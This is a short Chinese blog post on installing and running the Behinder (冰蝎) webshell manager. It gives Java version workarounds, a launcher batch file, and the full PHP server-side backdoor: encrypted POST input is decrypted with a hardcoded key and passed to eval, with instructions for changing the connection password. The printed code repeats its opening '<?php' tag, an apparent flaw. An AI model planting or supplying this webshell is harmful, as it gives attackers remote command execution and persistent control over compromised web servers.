最近尝试使用冰蝎这个工具,期间踩了很多坑,这里记录一下
冰蝎下载地址:https://github.com/rebeyond/Behinder/releases

img

这里我们选择zip下载,然后解压,
这里出现第一个坑:
大家可能会只装了java16,因为我们的burp抓包工具,需要用java16环境,java8不行
但我们的冰蝎在java16下打不开,java8可以,所以我们在这里也把java8安装一下
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
安装完后,记录好你安装的路径
在冰蝎目录下建议一个文件
Behinder_start.bat

1
2
cd D:\Java\jdk-se8\bin //java8路径
start javaw -jar D:\tools\Behinder_v3.0_Beta_7\Behinder.jar //冰蝎路径

然后我们运作这个bat就能打开冰蝎了

img

冰蝎不能用普通的一句话木马连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>

如果要修改连接密码则将自己的密码进行md5加密然后取其前16位替换$key的值

img

连接成功